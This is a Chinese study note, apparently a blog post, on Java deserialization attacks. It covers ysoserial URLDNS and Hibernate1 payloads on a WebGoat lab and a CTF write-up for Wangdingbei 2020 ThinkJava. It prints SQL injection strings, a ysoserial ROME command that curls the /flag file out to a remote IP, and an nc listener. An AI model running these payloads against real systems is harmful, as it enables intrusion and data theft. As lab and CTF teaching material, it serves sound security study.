网安之web攻防第四十七天笔记

目录

#知识点:

#内容点:

#前置知识:

函数接口:

数据出现:

发现:

利用:

#原生API-Ysoserial_URLDNS使用

#三方组件-Ysoserial_支持库生成使用

#解密分析-SerializationDumper数据分析

#CTF赛题-[网鼎杯2020朱雀组]ThinkJava


#知识点:

1、Java反序列化演示-原生API接口

2、Java反序列化漏洞利用-Ysoserial使用

3、Java反序列化漏洞发现利用点-函数&数据

4、Java反序列化考点-真实&CTF赛题-审计分析

#内容点:

1、明白-Java反序列化原理

2、判断-Java反序列化漏洞

3、学会-Ysoserial工具使用

4、学会-SerializationDumper

5、了解-简要Java代码审计分析

本节课我们就简要的学习一下java反序列化的相关知识,难一点的java反序列化会在代码审计的时候去讲。

#前置知识:

序列化和反序列化的概念:

序列化:把Java对象转换为字节序列的过程。

反序列化:把字节序列恢复为Java对象的过程。

对象的序列化主要有两种用途:

把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)

在网络上传送对象的字节序列。(网络传输对象)

和php反序列化不同的就是php序列化是把对象转换成字符串和数组,而这个是转换成字节序列,也就是字节流。在学七层模型的时候我们知道最后一层物理层,就是以字节流的形式去传输数据。随意这里java序列化的其中一个功能就是在网络传输。

函数接口:

Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等

PHP: serialize()、 unserialize()

Python:pickle

Java的反序列化的不只有函数,还有接口,并且函数也有很多,因此是比php和python复杂的。

数据出现:

1、功能特性:

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。

2、数据特性:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

3、出现具体:

http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等(\xac\Xed) xm lXstream,XmldEcoder等(http Body:Content-type: application/xml)json(jackson,fastjson)http请求中包含

发现:

黑盒分析:数据库出现地-观察数据特性

白盒分析:组件安全&函数搜索&功能模块

利用:

Ysoserial集成的jar包配合生成,特性的专业漏洞利用工具等

#原生API-Ysoserial_URLDNS使用

Serializable 接口

Externalizable 接口

素材:SerialTest文件夹用idea打开到SerializableTest这个目录下

工具:Ysoserial,这个工具比较老,可以生成简单的java反序列化payload,在资源库中。

首先我们打开文件SerializableTest.java如下图,这个是小迪自己写的,用来清楚java序列化和反序列化的过程,首先下面有两个代码块,第一个是把person这个里面的数据序列化并保存到1.txt文件中,第二个则是把1.txt里面的内容反序列化输出出来。

序列化:第一行留着,后两行注释然后直接点击运行,可以得到1.txt。

用c32asm工具打开可以看一下数据十六进制的情况,

可以看到十六进制的开头是ACED,我们上面说了java序列化的数据特性,如果以aced开头,那么他就是这一段java序列化的16进制。正好与之对应。而右边就是正常显示的序列化之后的值,感觉跟乱码一样。

反序列化:第一行注释,后两行不注释。

可以看到数据又被重新还原成java对象了

那么漏洞是怎么产生的呢,就是在反序列化的时候,如果我们能够控制这个1.txt的内容的话,那我们是不是准备一个后门,并且是序列化之后的后门,那么让他去执行反序列化的话,就相当于创建了一个后门。

这里我们利用Ysoserial这个工具去生成一个payload保存到2.txt,然后把d:/1.txt改成d:/2.txt.

打开工具,直接把这个工具放到java/bin目录下,cmd打开输入命令java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

可以看到有的payload生成需要一些jar包支持,也就是说,如果环境中没有这个payload对应的外带库,那么这个payload是无法使用的,但也有几个是不需要用到外带库的。比如我们需要用到的URLDNS,其实生成的payload就是需要右边对应的jar包去执行一些操作。

首先我们需要知道一个前置知识,那就是原生jar包和外部jar包,自带的就是原生的,不需要依赖外部库。代码中很多都是import去包含一个jar包。

这里因为URLDNS是对jar包没有条件的,所以我们可以直接用,首先用dns生成一个临时域名,然后在工具这里输入命令得到payload

命令:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://9injo4.dnslog.cn" > 2.txt

然后直接在idea执行就可以得到响应了(这个工具高版本的java不能用,8版本是可以的,亲测有效。)

#三方组件-Ysoserial_支持库生成使用

首先说一下这个脚本生成payload的两种方式,第一种方式就是刚才的那种,这种不需要jar包,还有一种直接借助某个jar包来生成payload。当我们知道对方的有哪些jar包时,可以下载下来直接用jar包去生成payload,但是这个要注意版本问题,还有就是尽量看那些带core的jar包,因为这些都是核心包。

环境:webgoat-server-8.1.0

复现:win10 java14.0.2

启动:java.exe -jar webgoat-server-8.1.0.jar --server.port=8000

访问:http://127.0.0.1:8000/WebGoat/login

第八题的第五个就是今天的主角,其实这个可以通过burp让页面延迟五秒,但这不是重点

看一下源码,先把jar包反编译,然后放到idea里面,抓包看触发的地址,然后找到相应的源码。

找到相应的位置之后,我们可以看到触发的路由地址就是刚刚的跳转地址。并且也是看到了ObjectInputStream函数,这个不就是刚刚反序列化的函数吗,并且这里还进行了base64的解码。随意我们想要构造payload的话还需要进行base64的编码才可以。

按照ysoserial支持的插件,查找webgoat是否安装了对应的jar包,这里只有两个:

Hibernate和spring-core 但是spring-core的版本不一致,所以就选择Hibernate

接下来就是利用刚才的工具去构造payload,这里是用到了Hibernate1这个payload,本来是可以用jar包直接构造payload,这里我们只是用来触发电脑的计算机,所以里面填的是calc.exe,你可以弄一个反弹后门的命令。这里因为我的webgoat这个靶场没有这个jar包,我就还用第一个命令去构造payload了,得到了x.bin这个文件,用c32asm工具打开可以发现开头是ACED,但是题目中是rO0AB开头,这就想到了另一种表现格式,那就是base64加密之后得到的,然后再会想到之前的源码,也是需要base64加密,所以这就对应上了,我们加密之后直接输入到题目那里回车就会发现弹出了电脑的计算器。也就代表rce漏洞。

这里我没有用jar包生成payload,用的是Hibernate1生成的,但是最后没有成功,用URLDNS生成的payload成功了。

像这些没有条件生成payload的大多功能都比较单一,不能执行一些命令,这个具体能执行什么漏洞的,还是要看这个工具的说明的,这里是可以用jar包生成的Hibernate1的payload去执行rce的。

#解密分析-SerializationDumper数据分析

这个工具就是把序列化之后的值还原。

可以看到有三个选项,一般是用第三个。

java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

我觉得这个工具没啥用,还原跟没还原一样。

#CTF赛题-[网鼎杯2020朱雀组]ThinkJava

这里首先推荐一个java的反序列化工具,就是jd-gui,想要的直接找我要即可。

大致的流程就是先判断dbname这里存在注入,然后利用小迪下面给的语句获取到账户名为admin,密码为admin@Rrrr_ctf_asde。

然后这里就要提到一个swagger接口,在题目的源码里面是包含(import)了这个接口的

你可以理解为phpmyadmin链接数据库,而这个phpmyadmin就是一个接口,这里我们查看官方文档可以知道访问/swagger-ui.html就可以打开这个接口,然后是有三个接口,接口右边都告诉是干啥的了。

首先点击这个登录的接口,输入刚才得到的账号密码登录,也是成功登录了,我们会发现data后面的一串字符串,开头就是rO0AB,这就是base64编码之后的java序列化之后的值。

接着我们来到获取当前用户信息的接口,把data后面的一长串输入进去发现,点击try直接就显示了用户信息,并且用户为admin,那这里十有八九就有java反序列化漏洞了,因为我们刚才输入的是base64加密之后的一串值,这里直接就显示了admin,那也就是说它进行反序列化了。

接着我们可以利用刚才的ys工具中的URLDNS和dnslog看是否存在漏洞,先用工具生成序列化之后的值,接着base64编码一下,然后输入到刚才的位置,发现dnslog有回显,那么这里肯定有漏洞了。接着利用ys工具中ROME这个payload去把flag的值传给自己的服务器的端口,然后base64编码之后输入进去,在自己的服务器那里用nc监听该端口,就得到了flag。

payload:java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.94.236.117:4444/ -d @/flag" > flag.bin

下面这个链接里面写的比较详细,可以参考一下

(1条消息) [网鼎杯 2020 朱雀组]Think Java_Sk1y的博客-CSDN博客

以下是小迪笔记的流程:

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行javaweb代码审计,发现可能存在注入漏洞

另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名name,pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=' union select (select name from user)#

dbName=myapp?a=' union select (select pwd from user)#

0x02 接口测试

/swagger-ui.html接口测试:

{

"password":"admin@Rrrr_ctf_asde",

  "username": "admin"

}

登录成功返回数据:

{   "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",   "msg": "登录成功",   "status": 2,   "timestamps": 1617614357281 }

0x03 回显数据分析攻击思路

JAVAWEB特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

分析数据:

先利用py2脚本base64解密数据

import base64

a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"

b = base64.b64decode(a).encode('hex')

print(b)

再利用SerializationDumper解析数据 java反序列化字节转字符串工具

java -jar SerializationDumper-v1.11.jar aced000xxxx

0x04 生成反序列化payload

解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作

利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.94.236.117:4444/ -d @/flag" > flag.bin

利用py2脚本进行反序列化数据的提取

import base64

file = open("flag.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

0x05 触发反序列化,获取flag

服务器执行:nc -lvvp 4444

数据包直接请求获取进行反序列数据加载操作

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值